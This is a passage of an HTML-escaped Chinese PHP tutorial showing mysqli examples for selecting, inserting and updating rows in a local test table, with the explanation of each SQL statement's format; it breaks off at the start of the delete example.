&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;fetch_assoc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()){&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 每次从结果集中读取一行数据，并以关联数组形式返回
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-----&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;uid&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;-----&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$row&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;job&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;lt;br/&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;无结果&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 关闭数据库
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;特别的，这里使用的sql语句格式为&lt;code&gt;&amp;quot;select * from 数据表名 where 筛选条件&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;操作增&#34;&gt;操作：增
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接（使用mysqli函数按格式填写所需参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 数据库增语句==============================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//准备一条数据库语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;insert into db1(uid,pwd,job) values(&amp;#39;u5&amp;#39;,&amp;#39;666&amp;#39;,&amp;#39;driver&amp;#39;)&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;// 这里相当于把增加指令赋值给$sql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;===&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;新纪录插入成功&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;插入失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 关闭数据库
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;特别的，这里使用的sql语句格式为:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;insert into 数据表名(关键字1,关键字2,关键字3) values(&#39;值1&#39;,&#39;值2&#39;,&#39;值3&#39;)&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;操作改&#34;&gt;操作：改
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 1. 配置连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;localhost&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;root&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;test&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;		&lt;span class=&#34;c1&#34;&gt;//数据库库名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 2. 创建链接（使用mysqli函数按格式填写所需参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;mysqli&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$servername&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$password&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$dbname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 3. 检测连接
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;die&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;连接失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect_error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// 数据库修改语句==============================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;//准备一条数据库语句
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;update db1 set pwd=&amp;#39;mima&amp;#39; where uid=&amp;#39;u2&amp;#39;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sql&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;===&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;修改成功&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;修改失败&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$conn&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;	&lt;span class=&#34;c1&#34;&gt;// 关闭数据库
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;特别的，这里使用的sql语句格式为:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$sql = &amp;quot;update 数据表名 set 关键字1=值1 where 关键字2=值2&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此处关键字1是实际修改内容，关键字2是用来定位要修改的条目&lt;/p&gt;
&lt;h3 id=&#34;操作删&#34;&gt;操作：删
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
